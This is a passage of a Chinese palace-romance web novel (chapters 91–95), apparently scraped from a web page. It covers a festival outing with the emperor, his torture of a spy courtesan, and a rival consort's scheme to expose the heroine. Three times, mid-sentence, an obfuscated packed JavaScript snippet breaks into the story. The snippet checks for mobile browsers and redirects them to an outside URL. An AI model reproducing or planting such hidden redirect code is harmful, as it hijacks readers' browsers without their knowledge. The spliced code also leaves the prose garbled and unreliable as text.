四个看不清男女的人,如鬼魅般从梁上跃下,牛筋索瞬间勒进她雪白的手腕。 “你们……”如霜大惊,挣扎着要喊,嘴里被塞进一团浸了麻沸散的绸帕。 人登时昏了过去。 几个人训练有素,很快就将昏睡的如霜抬起,扔到暗室中。 别院四处掌灯,幽静无声的青石路上一片亮堂。 窗口处传出窸窸窣窣的声音。 突然窗棂被人从外面推开。 【!!!123!!!】姜舒月本来就还没睡着,听到窗边的动静已是惊出一身冷汗。 她马上拿起瓷枕,这贼人若是敢近她身,必叫他脑袋开花! 【宿主,这是男主。】 姜舒月愣了,瓷枕也放了下来。 【……】 “谁?!”姜舒月娇呼,那身影停顿了一下,又朝她走来。 姜舒月见他不出声音,又说了一句:“你简直胆大包天!你知道我是谁吗?再敢踏近一步,我就叫人了!” 贺云徽听到她害怕得声音都颤抖了,当即便歇了逗她的心,害怕真的将人吓哭了。 实际的姜舒月快要憋不住笑了,还没等贺云徽主动亮明身份,她就哈哈一笑。 “是什么风,把今晚应该温香软玉在怀的陛下吹来了?” 第91章 美丽的误会 他没想到姜舒月在黑暗之中也能认出自己。 今晚被她忽视的不快,又少了些。 她应当还是在乎自己的,不然怎么会只凭借一个身影就认出是我了。 看人不说话,姜舒月又唤了一声。 “陛下?” “如何认出是朕的?”他走过来坐下。 姜舒月才要奇怪,“您今日不是收了翠云阁的如霜姑娘,怎么还来寻嫔妾?” 若是这句话换成是其他人来问,贺云徽必然不会理会。 但是从姜舒月嘴里问出来,又不一样了。 他挑了挑眉,低声问道:“月儿这是,吃醋了?” 姜舒月用手推他,“陛下每日都有佳人相伴,哪里轮得到嫔妾吃醋。” 如此更让贺云徽认定,她就是在吃醋了。 “她有问题,”贺云徽伸手,轻车熟路地将她搂在怀里,“朕让福安将人先关起来了。” 姜舒月一愣,原来他知道如霜有问题。 “不说这个。”他放开姜舒月,找到了她放衣服的地方,将那日自己送她的发簪与衣裳拿了出来。 “今日尚早,朕带你出去游玩。” 这会才戌时,确实不算太晚。 姜舒月就这样迷迷糊糊地换上衣服,跟着贺云徽从窗口跳了出去。 秋水居外,那人原本以为今日不会再有别的收获,没想到正要走的时候。 看到那姜嫔,跟着一男子,从窗户翻了出去。 她差点尖叫出来,手死死地捂住自己的嘴巴。 一路狂奔回到了自家主子的院落。 “你说得可是真的?!” “你当真看到她和别的男人?” 岳容华激动地站起身,连茶杯打翻了都还无察觉。 “千真万确娘娘!”洛云气都没喘匀,“那男子是从后窗翻进去的,要是陛下,怎么可能不走正门呢?” “好好好。”她激动地一连说了几个好字,“你做得不错,这里是一百两,赏你的。” 跟着甩了甩那张情书,“哼,这怕是给情郎写的情书吧。” “差点让她给骗了,这下倒不用我费心做局了,自己送上来的,可就怪不得我了。” 岳容华眼里酝酿着疯狂。 只能说,这是一个美丽的误会。 谁让贺云徽有门不走,非要翻窗呢? 贺云徽带着姜舒月,二人避开众人,悄然从侧门溜出。 虽然是戌时,但是南方城镇的夜生活本就热闹非凡。 如今还有一个双星节,更是人来人往。 街边的小摊琳琅满目,摆满了各种与双星节相关的物件。 有精美的七巧果,形状各异,有的似飞鸟,有的如游鱼,表面还点缀着彩色糖粒。 “卖巧果咯,又香又甜的巧果!” “漂亮的星桥灯,走过星桥好运到嘞!” 小贩们的吆喝声此起彼伏, 姜舒月第一次逛古代的夜市,对什么都好奇地不行。 一会儿盯着街边摊位上摆放的各种手工艺品,一会儿又被远处杂耍艺人的精彩表演吸引。 要不是贺云徽拽得紧,可能这会人已经被人流给冲散了。 他无奈摇头,又用力将人拽回来,搂在身边。 直至走到一个灯笼摊前,姜舒月停了下来。 摊主一看二人衣着不凡就知道这是大主顾,热情地为两人介绍起来。 见她对一盏玉兔形状的花灯感兴趣,摊主说了一堆漂亮话。 “这位小娘子,让你的夫君给你买一盏?一盏只要一百文。” 姜舒月身上自然没有钱,只能转过来可怜巴巴地看着贺云徽。 贺云徽挑着眉看她,眼里好像是在说什么。 姜舒月脸上浮现一抹红晕。 “夫、夫君~”她的声音甜腻,贺云徽只觉得有股电流从头顶一直流向尾椎骨。 激得身上的鸡皮疙瘩都起来了。 “喜欢哪一个?” 姜舒月闻言高兴地指了指那盏玉兔灯,“这个!” 因为这句夫君,贺云徽心甘情愿地掏了钱。 她高兴地接过花灯,在贺云徽的带领下,又逛了起来。 沿着街道前行,来到一条河边。 这里已经围了不少人,附近的河灯摊都已经块钱供不起河灯了。 “老板,要两盏河灯。” 他递过去一两银子,那河灯摊老板眼尖,知道是贵人来了,忙从剩余的河灯里,挑了两盏最好看的给他。 “多谢,剩下的不用找了。” 老板喜出望外,“多谢郎君夫人,祝二位举案齐眉,白头偕老。” 姜舒月笑眼弯弯,“承您吉言。” 贺云徽也颔首,拿着河灯牵着姜舒月小心地往河边走。 河面上已经漂浮着许多河灯,点点烛光在水波中摇曳。 许多有情人都在这里,趁着时间互诉衷肠。 姜舒月拿着其中一盏莲花河灯,缓缓蹲下。 闭上眼睛心中默念着:希望自己永远抽奖抽到金色道具,任务都无比简单,平平安安苟到最后。 贺云徽看她这么认真的许愿,自己也蹲了下来,学着姜舒月的样子,闭上眼睛许愿。 ‘惟愿今后岁月平安,长相厮守。’ 两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582763|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都同时许完了愿,睁开眼睛对视一眼,轻轻将河灯放入水中,河灯顺着水流缓缓漂动。 两盏灯并肩前行,烛光在水面上倒映出摇曳的光影,相互交织。 逛了差不多一个时辰之后,姜舒月就累了走不动了。 这已经是她这几个月来,运动量最大的一天。 她可以预料到,第二天自己的脚肯定十分酸痛。 贺云徽走到她身前,微微弯了弯腰。 “上来,朕背你回去。” 姜舒月怔了怔,没动。 贺云徽又催了一下,“快点。” 姜舒月只能趴在他的身上,抱着他的脖子。 “陛下,您别对嫔妾这么好……” 他轻笑了声,“怎么,突然发现自己承受不起朕的好了?” 她微微侧过脸看贺云徽,长长的睫毛扑闪着。 抬手戳了戳他的脸,“嫔妾有时在想,陛下对嫔妾这么好,就像是一场梦一样,生怕哪天这美梦就碎了。” “若是嫔妾哪天让您失望了,您一定要听嫔妾辩解。” 贺云徽失笑,“好,朕答应你。” 姜舒月伸过头去,亲了一口他的脸,“谢陛下。” 手里拿着的灯笼与那月光相融,光晕落在脚下,映着两人的影子,渐行渐远。 两人偷偷的出来,回去的时候也是偷偷地回去。 丝毫没有惊动到秋水居的任何人。 等到姜舒月又睡下后,贺云徽从窗口翻出。 抄着小道,辗转去倒了前院。 “哗啦——”冰凉的井水当头浇下。 等到如霜再次醒来的时候,发现自己已经被铁链吊在刑架上。 井水顺着头发滴落,发丝垂落有些模糊了她的眼睛。 只能隐约看到前面好似坐着一个人。 “你是什么人!竟然敢将我绑起来!你知道我是谁吗?!”她出生到现在,还是第一次被人这样对待。 即使进入了翠云阁,她所学的,也不过是如何取悦男人的招式。 从来没有学过武功,更没有吃过这样的苦。 “你倒是说说,你是什么人?”贺云徽好整以暇地给自己倒了杯茶。 如霜隐隐觉得对方的声音有些耳熟。 又听他问,如霜自是当他害怕了。 挺了挺胸,“我是陛下的宠妃,我劝你最好将我放了,我可以当做这事没发生过。” 宠妃?她还真能说的出口。 贺云徽使了个眼色,福安边上前去,将如霜眼前的遮挡物给整理了一下。 她终于看清了面前坐着的人。 “皇上?!” 第92章 朕心甚悦 四周昏暗,壁上挂满刑具,青铜炭盆里烙铁烧得通红。 原本这里只是一个暗室,银翎得了令,现找的刑具过来,以备不时之需。 如霜惊呆了。 难不成自己已经被识破了? 可是今日并无意外,还很顺利地被留了下来。 究竟是哪里出了问题? 她眼中闪过一丝惊恐,但很快又佯装出一副楚楚可怜的模样。 “皇上,您为何要将如霜绑在此地?” 贺云徽放下手中的茶杯,缓缓走到她面前。 她扭动着身躯,试图挣脱绳索,声音带着哭腔喊道:“皇上,您这是何意啊?!”” 烛火在他身后摇曳,将他的身影拉长。 居高临下的看着如霜。 “说吧,是谁派你来接近朕的。”贺云徽声音不大,但是每一个字都仿佛重若千钧,砸在如霜的心坎上。 如霜被这突如其来的质问吓得浑身一颤,瞪大了那双楚楚可怜的眼睛,泪水在眼眶中打转。 “皇上奴家冤枉啊!”她不住地哭喊着,“自见到皇上的那一刻起,便倾心不已,只想留在皇上身边伺候,并无任何不可告人的阴谋。定是有人在背后恶意中伤奴家,想让皇上误会奴家,求陛下明察啊!” 琼林自门外进入,捧着鎏金托盘近前,盘中银针在月光下泛着寒光,“陛下,暗部新制的透骨针,三针入穴,就是石头也要开口。” 如霜听了浑身颤抖如筛糠,眼神惊恐地看着那个托盘。 “端王倒是舍得,拿如此如花美眷来对付朕。可惜……” 他说着,从里面拿出一根银针。 指尖银针寒光一闪,第一针没入她颈侧天鼎穴时,凄厉的惨叫穿透了这暗室。 那声音仿佛一把尖锐的刀,划破了这寂静而压抑的空间。 “朕可不是什么怜香惜玉之人。” 如霜痛得蜷缩了起来,牙齿咬破了舌尖,铁锈味在口中弥漫。 她艰难摇头:奴家……仰慕皇上…… “倒是硬气,”贺云徽轻笑一声,接过第二根针。 “如霜姑娘舞姿曼妙无双,名动江南,”话音未落,三寸银针直穿鸠尾穴,“不知废了这双脚,还能不能再跳舞?” 惨叫声不绝于耳,声音因痛苦而变得扭曲。 那钻心蚀骨的疼痛,如汹涌潮水般将她彻底淹没。 如霜的意志,也在这无尽的痛苦中渐渐崩塌。 终于,她再也承受不住,涕泪横流,声音颤抖得如同秋风中的残叶,绝望地说道:“皇上饶命!奴、奴家招了。” 因为疼痛,声音有些颤抖,“端、端王殿下,令奴家想法子接近皇上,监视皇上的一举一动,然后将消息传递给他……” 她深呼吸一口气,眼里露出哀求地神情,“其他的,奴家就不知了……求、求皇上饶命。” 贺云徽好似并不意外,“淡月。” “属下在。”暗处中走出一个身材高挑的女子,看着和如霜的身型,还有些相似。 贺云徽接过福安递过来的帕子擦拭手指,“接下来,交给你了。” 那女子一拱手,“是。” 随后他便走出暗室,门缓缓关上,也关上了如霜的惨叫。 三更天的梆子声传来,暗室的门再次打开。 “陛下,”淡月脸上溅上了血迹,在夜色下显得整个人有股诡异的美,“人**。” 贺云徽微微偏头,淡月跪了下来,“请陛下责罚。” “可还审出什么?” “姑苏之行。”淡月说了四个字。 贺云徽心中杀意翻涌,面上却愈发冷峻。 略一思忖,目光扫过淡月的脸。 “两个时辰,朕要看到活的如霜出现在这里。” 淡月没有犹豫,立刻应了下来。 五更天后,密室暗门旋出个与如霜一般无二的女子。 “陛下。”开口竟是吴侬软语,举手投足间,竟也有几分花魁先前的柔媚姿态。 “抬起头来。” 淡月听话地抬起了脸。 “很好,”贺云徽朝福安招了招手,“如霜姑娘,朕心甚悦,特封霜贵人。” 消息一早上就传了出去,几个妃子瞬间炸开了锅。 “昨天陛下带回来的如霜姑娘,被封霜贵人了!” “她命可真好,一晚上就被陛下封了贵人。” “比现在的姜嫔娘娘还要得宠。” “听说陛下还特许,让她住在前院呢。” “可说呢,昨晚那动静可真不小,”说话的宫女脸都红了,“要是我也可以和陛下一夜……” “嗤,你就算了吧,你看后宫哪个娘娘不漂亮,就你这大脸盘子,陛下看到就……哈哈哈哈!” “你!”她眉毛一拧,“就要去掐她,“看我不撕烂你的嘴!” 几人调笑着跑开。 盛夏天里,难得有些多云,丛丛云层将烈日团团围住,敛了半数的暑气。 本来睡的香甜的姜舒月,突然小腿一阵抽筋。 惊叫着让明夏给自己揉捏。 虽然这段时间身体养的已经很不错了,但是昨夜这么大的运动量,还是有些高估了自己的身体。 小方子快步走了进来,“娘娘,昨夜的如霜姑娘,被封为霜贵人了。” 霜贵人……如此抬举她,贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591178|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云徽是想做什么?引蛇出洞? 扶风在一旁替姜舒月打扇,闻言撇了撇嘴。 “陛下也被那花魁迷住了。” 果然,陛下也不可信。 姜舒月失笑摇摇头。 一开始或许她也会认为贺云徽被女人迷住了,但从接触下来看,她倒不相信贺云徽是会被美色迷惑住的人。 毕竟后宫佳丽三千,环肥燕瘦,他想要什么样的没有。 唯一可以解释的,就是他另有所图。 刚要说话,在门外的小路子进来。 “娘娘,婉妃娘娘身边的冬雪姑娘来了。” 冬雪一身淡绿色宫装,在外间停下脚步,“姜嫔娘娘,主子请您梧桐苑一聚。” 待人走了,姜舒月脸上露出一副麻烦的表情。 贺云徽新封妃子,跟这些妃子也说不着啊。 叹了口气,她随意装扮一番,便往外走。 “嫔妾见过姐姐,几位娘娘。”姜舒月微微躬身行礼。 姜婉清点点头,“起来吧,坐下吧,”她指了陈婕妤身边空着的位置,“秋霜,上茶。” 明夏小心地扶着她过去,因为脚十分酸疼,她走得并不快,还有些使不上劲。 但是在场的人,心思都不在姜舒月身上,故而并没有注意到。 只除了岳容华。 她从姜舒月进门就开始暗暗观察她。 从头,一直打量下去。 直到看到了姜舒月的走路姿势。 该死的**,昨夜定是和那奸夫…… 连路都走不了,如此放浪形骸。 她恨恨地盯着姜舒月,直到思雨小心地碰了碰她的衣角。 等到最后的尹宝林到来,姜婉清才朱唇轻启。 “本宫将你们叫来,为了什么,想必你们也应该知道。” 她停顿了一下,见这些妃子都看向了她。 “诸位妹妹对此有何想法,不妨直言。” 尹宝林自然是对这件事意见最大的,“这如霜也不知使了什么狐媚手段,竟能得皇上如此青睐,一下子便封为贵人,实在叫人不服!” 她昨夜本想请陛下来相陪的,结果却被告知陛下正在处理公务。 可是今晨,却听下面的人议论。 那前院的动静,可是持续到了三更天才停。 可恨那狐媚子,竟还得了封。 比自己的位份都还要高。 自己以后竟然还要向一个妓子行礼。 想着,越发的委屈。 “不过是个窑子里爬出来的贱婢,刚承宠便骤然封贵人,实在叫人难以心服。如此一来,往后宫中晋升岂不是没了规矩?” 第93章 鸡娃方静姝 她也是激动了,用词十分不妥。 姜婉清听得眉头轻蹙,但是也不得不承认。 尹宝林的话虽然糙了些,却也在理。 方静姝、安常在和言御女安静的缩在一边,她们本就没有什么存在感。 她们的意见对于姜婉清来说并不重要,也就没在意。 岳容华收回紧盯在姜舒月身上的眼睛。 如今的姜舒月在她眼里,跟**没有什么两样了。 现在更加棘手的,便是这个新晋的霜贵人了。 “什么霜贵人,”岳容华心里不屑,“从来没有哪一个女子,可以破格提拔,倒比……” 说着她看了一眼姜舒月,“倒比姜嫔,还要受宠几分。” “……” 见姜舒月不接话,她又重重地哼了一声。 兰昭容坐在一旁,她性子一向沉稳,姜婉清也想听听她的想法。 “如今旨意已下,陛下必然也是有自己的一番考量,只是此举,难免让姐妹们觉得不公。” 她也觉得事出突然,哪里都透着一股奇怪的感觉。 但天下都是贺云徽的,如今不过是册封了一个女子,又算的上什么呢? 陈婕妤甩了甩手里的帕子,又端详了自己的手指头,今日婉妃催得急,丹蔻都未曾弄好。 “陛下既然喜欢,那就随她去吧。若是不愿和她来往,便少叫她出现在眼前。” 她可是很忙的,哪有空管什么霜贵人。 “可是……一介青楼女子,这说出去真是让人笑掉大牙了。” “姜嫔今日为何一句话也不说?”岳容华再次将矛头对准了姜舒月。 唰地一下,所有人的目光都对准了姜舒月。 这下是避无可避了。 “嫔妾以为,昭容姐姐所言极是。” 姜舒月也不想在这件事情上强出头。 只轻声的附和着。 “说不定这如霜姑娘,有什么过人之处,能得陛下青睐呢。” “说得轻巧,难道真让咱们和那妓子姐妹相称?” 尹宝林见众人也没有个章程,但是她不同。 她肚子里可是有陛下的孩子,“陛下分明没将咱们放在心上!” “慎言!”姜婉清厉声喝道,“陛下也是你随意编排的!” 尹宝林大惊,“妾身不敢。” “念你尚在孕期,本宫就当你无心之言,”她眼中却闪过一丝不屑,“下次再犯,本宫定不轻饶。” “是,妾、妾身明白。” 姜婉清眼神闪了闪,“也罢,既然已成定局,那大家日后也好与霜贵人好好相处,一言一行皆要谨慎。” 见大家还是一副心事重重地样子,又说道:“如今陛下正是对霜贵人喜爱之时,若是贸然进言,恐怕会惹了陛下不快,不如暂且按捺住心中不满,且看日后情形。” 众人见状,也只能点头称是后离去。 “姐姐,”方静姝快步走到姜舒月身边,注意到了她的异常,“可是身体不适?” 姜舒月无法明说,只能说脚抽筋了。 “今日过后,还不知道后面会生出什么事端来。” 她好像很忧愁,“当日姐姐为何不阻止陛下?” “陛下自然有自己的想法,且他已经答应如霜了,君无戏言,自然是不能收回成命的。” 姜舒月缓缓地走着,忽然听见有宫婢惊呼。 抬头一看,九曲桥尽头转出一顶软烟罗小轿。 金线绣的流苏帘子被风吹起半幅,露出如霜那张莹白的脸蛋。 “今日起来就听下面传的厉害,”方静姝用力拽了拽姜舒月的袖子,“姐姐,你不能放任下去,你得争一争!” 她眼睛里都是对姜舒月的期望。 好家伙,这是自己不鸡,鸡到她身上了。 姜舒月有意逗她,“如今陛下对她圣眷正浓,我又如何能争得过呢。” 说着还做出一副伤神的模样。 方静姝虽然在棋牌上不受她迷惑,但事关姜舒月受宠与否上,又变成了那个姐宝女。 她眼神坚定,“怀孕!怀孕就可以!” 姜舒月被呛了一下,“咳咳咳~” 果然催孕不分男女老少。 她吓得赶紧换了个话题,“我有些饿了,不如今日去我那用膳吧。” 看姜舒月转移了话题,方静姝也没有继续追着她,“好,妹妹就却之不恭了。” “聊什么呢,这半天也不动弹。” 身后传来了陈婕妤娇媚的声音。 姜舒月和方静姝转身行礼,“见过陈姐姐。” “嗯,”陈婕妤携着菘蓝,慢悠悠地走过来,“老远就听到你们在说什么争一争了。怎么,想要和那如霜争宠?” 方静姝脸一红,没想要自己的话会被人听到。 陈婕妤貌似也没有要怪罪的意思,“也无甚可争的,那等**之人,没得失了身份。” “陈姐姐教训的是。”姜舒月望向她来时路,看到了尹宝林在不远处,瞪着眼睛看着。 陈婕妤注意到她的眼色,回身看了一眼。 嗤笑一声,“不过是在岸上说了句话,就妄想来挑拨我去做那进言之人,可笑。” 尹宝林被看得一愣,立刻低头服了服身,便拉着豆蔻快步走开。 “我也未曾进食。”她摇了摇手中的团扇,下巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看了眼陈婕妤,姜舒月邪恶地笑了起来。 陈婕妤背后一凉:怎么感觉被人盯上了。 “陈姐姐,今日尚早,不如来玩点有趣的吧?” 陈婕妤眨了眨那双美丽的大眼睛,一脸疑惑,“什么有趣的?” 直到姜舒月把牌拿出来之后,陈婕妤才明白她说的有趣,就是打牌。 “这是何种牌?怎么我从来没见过?” 第94章 巧言令色 姜舒月一边洗牌一边给她讲解,花里胡哨地手法看得她不由自主张大嘴巴。 就连沉稳如菘蓝也不禁看呆了。 听完姜舒月的讲解,陈婕妤大手一挥,摆上。 果然棋牌的魅力无人能挡。 新手保护期,陈婕妤连赢了好几把,笑得花枝乱颤的。 “我可只剩一张牌了哦。”她得意地将牌扣在桌子上,端着菘蓝递过来的茶水喝了一口。 嗯,悠哉快活。 还好今日输的最多的,是方静姝。 不然她真的会生气! “我又赢了!”陈婕妤高兴地伸出手。 输了的两人只好愿赌服输的给了钱。 最后,陈婕妤眉开眼笑地拿着今天赢到的五十两,走出了秋水居。 方静姝苦着脸,她在姐姐这里赢的钱,大部分又输出去了。 姜舒月哈哈直乐,“风水轮流转,也该是你大出血啦。” 两人又说了些话,方静姝才依依不舍地告辞。 最后一丝余晖散尽,暮色渐沉,夜风也燥人了起来。 今晚不似白日里凉快,姜舒月贪凉,在秋水居里放了好几个冰鉴。 “娘娘,这太凉了,”扶风感觉在屋里都有些起鸡皮疙瘩了,“到时候您来癸水又肚子疼。” 姜舒月赌气似的捂住耳朵,扶风一看,只好认命的放下冰鉴。 看她困倦了,丫鬟们也都退了下去。 屋子里很快就安静下来,院子外面的灯也熄了几盏。 连树叶的影子都看不见了。 窗外又响起一阵窸窸窣窣地声音。 【不会又是男主吧?】姜舒月睁开眼睛。 123【是的,还是他。】 她也如同扶风认命了一般,走到窗口,轻轻地打开了窗。 贺云徽站在外面,手还维持着要推窗的动作。 姜舒月双手抱在胸前,看着他。 “陛下,您这是夜半偷香偷习惯了?” “若是叫旁人瞧见,成何体统。” 她也是好起来了,竟然也能用这句话来说贺云徽了。 贺云徽摸摸鼻子,食指抵在唇边,做了个噤声手势,一言不发地默默翻窗。 顺手将窗户关上,也隔绝了外面窥视的目光。 洛云心想姜嫔简直太张狂了,竟然一连两日都敢私会情郎。 还没等洛云去通风报信,那窗户又开了。 只见那男子又翻身出来,带着穿戴好的姜嫔,轻功一翻,就上了房檐上,随后消失在她的视线里。 这情郎竟还是个会武功的。 岳容华看到洛云的表情,就知道,今日又有情况。 只是人如今不在别苑之中,怕是无法抓姜嫔的现行。 现在过去,她的丫鬟也能说姜舒月是出去闲逛了,何况也确实没有晚上不得闲逛的规矩。 这个想法暂时被她排除掉了。 她一定要在离开别苑之前,抓住姜嫔偷情! 这边贺云徽带着姜舒月轻盈地跃出窗外,双脚刚一落地,又搂住她的腰。 “抓紧朕。” 她下意识抱紧他的腰,任那人揽住腰肢跃上房檐。 风声在耳边呼啸,姜舒月悄悄睁开眼睛,既紧张又兴奋。 这就是轻功吗? 不过片刻,便出了别苑,来到一处静谧的江边。 月轮高悬,清辉如练,洋洋洒洒倾落于粼粼水面。 江上万千河灯映着画舫,恍若星河倾落人间。 还没等姜舒月反应,贺云徽揽着人掠过江面,惊起岸边的几只野鸭。 轻轻地将她放在芦苇荡中的乌篷船上,姜舒月掀起船帘,舱内竟备着一壶沏好的君山银针。 她钻了进去,自顾自地找了一处地方坐下,给自己和贺云徽都倒了一杯茶。 人生第一次体验轻功飞行,属实刺激到了。 “你倒是自在。”贺云徽跟着钻了进来。 “陛下自然不会叫嫔妾有危险,这里一看就是您安排的,嫔妾自然自在。” 他靠着姜舒月坐下,修长的手指执起茶杯,在烛光下打量着姜舒月。 姜舒月整理了一下略微有些凌乱的发丝,“陛下为何如此看嫔妾?” “你难道没有什么想问朕的?” 他眼里有一丝期盼,他想听到姜舒月说自己不喜欢如霜,想要看姜舒月吃醋闹别扭。 闻言她歪着头,眼中满是狡黠笑意,调侃道:“陛下新封了那如霜姑娘为贵人,这会子还有闲情来找嫔妾,就不怕如霜妹妹伤心?” 贺云徽挑眉,“若是朕去找了霜贵人,那月儿呢?可会伤心?” 姜舒月却轻笑出声,“没有霜贵人,也会有雪贵人雨贵人。嫔妾要是个个都吃醋,不得叫醋淹没了?” 贺云徽听完直接屈指在她脑门上敲了一下。 “巧言令色。” 随后又如往常一般,将人抱在身上。 “昨夜,如霜就已经死了。” 一个晴天霹雳下来,姜舒月愣住。 “可是嫔妾今日还……”她像是想通什么,“假的?” 贺云徽点头,“如今假扮如霜的,是……” 他话没说完,姜舒月一把捂住了他的嘴,对着他摇摇头。 “陛下,您今日说的话,嫔妾就当自己没听到。” 贺云徽诧异,拉下她的手,“为何不想知道。” 明明对于她来说,是更能证明她对自己的特殊性的。 “嫔妾只知道,陛下不管做什么,怎么做,都是有道理的。嫔妾要做的,就是相信陛下。” 她抬眸,一双桃花眼里满是信任,“就如同陛下信任嫔妾一样。” 贺云徽看着她,手抚上她的脸。 眸中似是有某些情绪翻腾,最终控制不住,一手按住她的后脑勺,猛地吻了上去。 然而啃咬她唇瓣的动作却慢慢放轻柔,带着视若珍宝般的小心翼翼。 江面忽起涟漪,姜舒月腕间的白玉镯子撞在船帮上,叮咚作响。 乌篷船摇晃不止,里面传出的细碎娇吟,让月亮听了都羞得躲进云层。 姜舒月脸色潮红,身上盖着贺云徽的外袍,空气中还残留着旖旎的气息。 他轻轻捋开姜舒月额前被汗水浸湿的发丝,目光温柔似水。 “睡吧,一会朕带你回去。” 姜舒月胡乱地点点头,伸手搂住了贺云徽,小脸往他怀里一埋。 不多时便沉沉地睡了过去。 贺云徽拢了拢她身上那件外袍,闭上眼睛小憩。 三更天的梆子一响,他便睁开眼睛。 轻手轻脚地给姜舒月穿好了衣裳,用外袍将人又裹了起来,横抱在身前。 再次施展轻功,前往别苑。 秋水居里,明夏本想进来看看姜舒月睡得如何,却发现她没在屋内。 自己一直在门口守着,姜舒月也没踏出过房门,怎么会无缘无故在房内消失? 这事非同小可,娘娘在自己的屋子里不见了,传出去,要出大事。 明夏没有声张,只是借着走动醒神的借口,将秋水居里里外外寻了个遍。 还是没有姜舒月的身影。 饶是她再沉稳,这会也有些害怕了。 为了怕被人察觉出来,她只好再次进入了内室,在里面来回踱步,不停地祈求娘娘在被人发现之前赶紧回来。 突然窗户那有了动静,明夏精神一震。 手心一翻,一根银针夹在食指和中指之间。 她并没有习过武功,但是为了自保,曾努力练习过飞针。 一手飞针之术还是相当厉害的。 随着那窗户打开,明夏手里的针也射了出去。 第95章 抓个现行 贺云徽眼疾手快,抱着姜舒月飞快闪开直朝面门而来的银针。 刹那间又抬腿将窗棂合上,挡住了那枚银针。 一切都发生在电光火石之间。 “哒”的一声,银针钉在窗棂上,发出一声闷响。 “谁在哪里?!” 她不敢大声叫喊,生怕让别人知道了这里发生的事情。 过了一会,窗棂又开始动了起来,缓缓打开。 借着月光,明夏这才发现,窗棂后面竟然是陛下! 怀里抱着的,不是姜舒月又会是谁?! “奴婢罪该万死,请陛下恕罪!”她惊出一身冷汗。 贺云徽抱着姜舒月,脚下一个用劲,轻松的跃进了内室。 “起来吧,不知者不罪。”贺云徽也知道,今夜发生的事情,有很大原因是因为自己。 明夏也是为了秋水居的安危,才会动手。 这会她的脚都有些软,费了好大劲才站起来。 “今晚的事情,还有谁知道?”他轻手轻脚地把人放在床上,又拧了帕子,给她擦拭额头的汗。 “只有奴婢一人,”她帮着贺云徽给姜舒月擦拭身上,“奴婢不知娘娘去了哪里,事关娘娘清誉,奴婢不敢叫其他人知晓。” 贺云徽点点头,“你做得不错,明日去内侍省领赏。” 最后他又仔细端详了一番姜舒月的脸,在她脸上亲了亲,又从窗户翻了出去。 “……” 陛下,什么时候爱上翻窗了? 已过辰时,姜舒月才从床上醒来。 一晚上,明夏都生怕再出什么问题,一直在旁边守着。 她一睁眼,就看到明夏质问的眼神。 啊,被发现了。 “娘娘!您怎么能不跟奴婢知会一声就出去了,您知不知道昨夜奴婢进来没看到您的时候,有多害怕!” “咳~”她轻咳了声,“昨夜陛下来得突然,我也是没办法,下次不会了。” 姜舒月也没想到,贺云徽这两日都喜欢从窗户翻进来。 好像秋水居的正门,是个摆设一般。 明夏也知道,这是主子们的情趣,她一个做奴婢的也无法置喙。 但还是提前跟静玉扶风说一声,免得下次她们守夜的时候,陛下又悄无声息地将娘娘带走了。 等到姜舒月从内室出来时,小方子已经在正厅等了一会了。 “有什么发现?” 小方子立刻将昨日的情况说出来:“娘娘,昨日亥时,那人离开了一会,随后又回来继续盯梢了。应是发现了什么,中间回去禀告背后之人。” 亥时……那不是贺云徽带自己翻窗的时间吗? 竟然被看到了? 那怎么又回来了呢? 难道说,她其实没看到这个翻窗的人是贺云徽? 姜舒月喝着茶,嘴角勾出一个笑容。 是时候该收网了。 “离秋水居最近的,有没有无人住的院子?” 小方子沉吟了一会,“回娘娘,有一座无人居住的院落,名为玉笙轩。” 她点点头放下茶杯,又去到主屋的书房。 “研磨。” 沾了墨,略思忖一番,提笔写下: 郎君,子时,玉笙轩,妾盼君来,有相思相诉。 “这封信,一会你偷偷摸摸地,从别苑后门走,”她把信递给小路子,“接下来,你知道怎么做。” 小路子略一想,就明白了姜舒月的意思。 “娘娘放心,奴才必然做得漂亮。” 昨夜洛云盯了一晚上,今日本想暂时停止对秋水居的盯梢。 但是岳容华却觉得,马上要离开荔平郡了,姜嫔必然会趁着时间,多多跟奸夫见面。 于是白日里换了她来。 其实按照思雨自己的想法,既然娘娘手里已经有证据了,何不直接捅到陛下那里。 岳容华不愿,一定要抓到现行。 正胡思乱想的时候,她就看见了秋水居的太监,鬼鬼祟祟地往别苑后门走去。 她一下来了精神,偷偷跟在那小太监后面。 那太监七拐八拐的,净挑无人的偏僻小径行走。 越发让思雨觉得他要做什么见不得人的事情。 行至假山处,突然看到从那太监身上掉落什么东西。 但他却浑然不觉,依旧脚步匆匆地向前走去。 思雨心中一喜,看他走远后,立刻上前捡起纸条,展开一看。 上面写的内容让她又惊又喜,心想还是娘娘有先见之明。 不然今日,可是要失去一个除掉姜嫔最好的机会了。 看完后,她迅速将纸条叠好放回原位,然后躲至一旁。 不一会,那小太监果然回来找纸条。 